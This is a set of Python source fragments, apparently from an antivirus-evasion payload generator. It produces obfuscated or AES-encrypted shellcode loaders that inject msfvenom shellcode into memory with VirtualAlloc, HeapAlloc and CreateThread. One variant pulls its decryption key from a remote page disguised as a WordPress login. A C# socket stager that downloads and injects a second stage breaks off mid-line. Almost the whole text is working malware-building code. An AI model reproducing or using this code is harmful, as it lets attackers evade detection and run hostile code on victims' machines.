</p> <p class="forgetmenot"><label for="rememberme"><input name="rememberme" id="rememberme" value="forever" type="checkbox"> Remember Me</label></p> <p class="submit"> <input name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" type="submit"> <input name="redirect_to" value="http://www.google.com" type="hidden"> <input name="testcookie" value="1" type="hidden"> </p> </form> <p id="nav"> <a rel="nofollow" href="http://www.google.com">Register</a> | <a href="http://www.google.com" title="Password Lost and Found">Lost your password?</a> </p> <p id="backtoblog"><a href="http://" title="Are you lost?">← Back to main page</a></p> </div> <div class="clear"></div> </body></html> """ html_data += '<!--' + RandHttpstring + '-->' html_data = str(html_data) f.write(html_data) f.close() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES_http_request( Shellcode, html_data) # Create Payload code PayloadCode = 'from ctypes import *\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'import time\n' PayloadCode += 'import md5\n' PayloadCode += 'import urllib2\n' PayloadCode += 'opener = urllib2.build_opener()\n' PayloadCode += 'opener.addheaders' + ' = ' '"' + USER_AGENT + '"' '\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' # Define Target Server "Key hosting server" PayloadCode += RandKeyServer + ' = ' '"' + TARGET_SERVER + '"' '\n' PayloadCode += 'while True:\n' PayloadCode += ' try:\n' # Open Target Server with HTTP GET request PayloadCode += ' ' + RandResponse + '= opener.open(' + RandKeyServer + ') \n' # Check to see if server returns a 200 code or if not its most likely a 400 code PayloadCode += ' if ' + RandResponse + '.code == 200:\n' # Opening and requesting HTML from Target Server PayloadCode += ' ' + RandHttpKey + ' = opener.open(' + RandKeyServer + ').read()\n' PayloadCode += ' ' + RandMD5 + ' = md5.new()\n' PayloadCode += ' ' + RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Genrate MD5 hash of HTML on page PayloadCode += ' ' + RandMD5 + '.update(' + RandHttpKey + ')\n' # Convert to 16 Byte Hex for AES functions PayloadCode += ' ' + RandHttpKey + ' = ' + RandMD5 + '.hexdigest()\n' # Convert to String for functions PayloadCode += ' ' + RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Break out to decryption PayloadCode += ' break\n' # At any point it fails you will be in sleep for supplied time PayloadCode += ' except URLError, e:\n' PayloadCode += ' time.sleep(' + self.required_options[ "SLEEP_TIME"][0] + ')\n' PayloadCode += ' pass\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += ShellcodeVariableName + ' = ' + RandDecodedShellcode + '.decode("string_escape")\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): if self.required_options["INJECT_METHOD"][0].lower() == "virtual": if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandT = helpers.randomString() PayloadCode = 'import ctypes as avlol\n' PayloadCode += 'import base64\n' PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += RandPtr + ' = avlol.windll.kernel32.VirtualAlloc(avlol.c_int(0),avlol.c_int(len(' + ShellcodeVariableName + ')),avlol.c_int(0x3000),avlol.c_int(0x40))\n' PayloadCode += RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'avlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += 'avlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandT = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() PayloadCode = 'import ctypes as avlol\n' PayloadCode += 'import base64\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += '\t' + ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += '\t' + RandPtr + ' = avlol.windll.kernel32.VirtualAlloc(avlol.c_int(0),avlol.c_int(len(' + ShellcodeVariableName + ')),avlol.c_int(0x3000),avlol.c_int(0x40))\n' PayloadCode += '\t' + RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\t' + 'avlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += '\t' + 'avlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode if self.required_options["INJECT_METHOD"][0].lower() == "heap": if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandT = helpers.randomString() HeapVar = helpers.randomString() PayloadCode = 'import ctypes as avlol\n' PayloadCode += 'import base64\n' PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += HeapVar + ' = avlol.windll.kernel32.HeapCreate(avlol.c_int(0x00040000),avlol.c_int(len(' + ShellcodeVariableName + ') * 2),avlol.c_int(0))\n' PayloadCode += RandPtr + ' = avlol.windll.kernel32.HeapAlloc(avlol.c_int(' + HeapVar + '),avlol.c_int(0x00000008),avlol.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'avlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += 'avlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandT = helpers.randomString() HeapVar = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() PayloadCode = 'import ctypes as avlol\n' PayloadCode += 'import base64\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += '\t' + ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += '\t' + HeapVar + ' = avlol.windll.kernel32.HeapCreate(avlol.c_int(0x00040000),avlol.c_int(len(' + ShellcodeVariableName + ') * 2),avlol.c_int(0))\n' PayloadCode += '\t' + RandPtr + ' = avlol.windll.kernel32.HeapAlloc(avlol.c_int(' + HeapVar + '),avlol.c_int(0x00000008),avlol.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tavlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += '\tavlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() DecodedShellcode = helpers.randomString() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) PayloadCode = 'from ctypes import *\n' PayloadCode += 'import base64\n' PayloadCode += ShellcodeVariableName + " = \"" + EncodedShellcode + "\"\n" PayloadCode += DecodedShellcode + " = bytearray(" + ShellcodeVariableName + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += RandMemoryShell + ' = create_string_buffer(str(' + DecodedShellcode + '), len(str(' + DecodedShellcode + ')))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() DecodedShellcode = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) PayloadCode = 'from ctypes import *\n' PayloadCode += 'import base64\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + ShellcodeVariableName + " = \"" + EncodedShellcode + "\"\n" PayloadCode += '\t' + DecodedShellcode + " = bytearray(" + ShellcodeVariableName + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += '\t' + RandMemoryShell + ' = create_string_buffer(str(' + DecodedShellcode + '), len(str(' + DecodedShellcode + ')))\n' PayloadCode += '\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += '\t' + RandShellcode + '()' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): if self.required_options["inject_method"][0].lower() == "virtual": if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandPadding + ' = \'{\'\n' PayloadCode += '\t' + RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += '\t' + RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += '\t' + RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += '\t' + RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += '\t' + RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += '\t' + RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n' PayloadCode += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n' PayloadCode += '\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode if self.required_options["inject_method"][0].lower() == "heap": if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() HeapVar = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() HeapVar = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandPadding + ' = \'{\'\n' PayloadCode += '\t' + RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += '\t' + RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += '\t' + RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += '\t' + ShellcodeVariableName + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += '\t' + HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += '\t' + RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'from ctypes import *\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += ShellcodeVariableName + ' = ' + RandDecodedShellcode + '.decode("string_escape")\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'from ctypes import *\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandPadding + ' = \'{\'\n' PayloadCode += '\t' + RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += '\t' + RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += '\t' + RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += '\t' + ShellcodeVariableName + ' = ' + RandDecodedShellcode + '.decode("string_escape")\n' PayloadCode += '\t' + RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += '\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += '\t' + RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): getDataName = helpers.randomString() injectName = helpers.randomString() payloadCode = ( "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices;\n" ) payloadCode += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) hostName = helpers.randomString() portName = helpers.randomString() ipName = helpers.randomString() sockName = helpers.randomString() length_rawName = helpers.randomString() lengthName = helpers.randomString() sName = helpers.randomString() total_bytesName = helpers.randomString() handleName = helpers.randomString() payloadCode += "static byte[] %s(string %s, int %s) {\n" % (getDataName, hostName, portName) payloadCode += " IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" % (ipName, hostName, portName) payloadCode += ( " Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" % (sockName) ) payloadCode += " try { %s.Connect(%s); }\n" % (sockName, ipName) payloadCode += " catch { return null;}\n" payloadCode += " byte[] %s = new byte[4];\n" % (length_rawName) payloadCode += " %s.Receive(%s, 4, 0);\n" % (sockName, length_rawName) payloadCode += " int %s = BitConverter.ToInt32(%s, 0);\n" % (lengthName, length_rawName) payloadCode += " byte[] %s = new byte[%s + 5];\n" % (sName, lengthName) payloadCode += " int %s = 0;\n" % (total_bytesName) payloadCode += " while (%s < %s)\n" % (total_bytesName, lengthName) payloadCode += " { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" % ( total_bytesName, sockName, sName, total_bytesName, lengthName, total_bytesName, lengthName, total_bytesName, ) payloadCode += " byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" % (handleName, sockName) payloadCode += " Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" % (handleName, sName, sName) payloadCode += " return %s;}\n" % (sName) sName = helpers.randomString() funcAddrName = helpers.randomString() hThreadName = helpers.randomString() threadIdName = helpers.randomString() pinfoName = helpers.randomString() payloadCode += "static void %s(byte[] %s) {\n" % (injectName, sName) payloadCode += " if (%s != null) {\n" % (sName) payloadCode += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (funcAddrName, sName) payloadCode 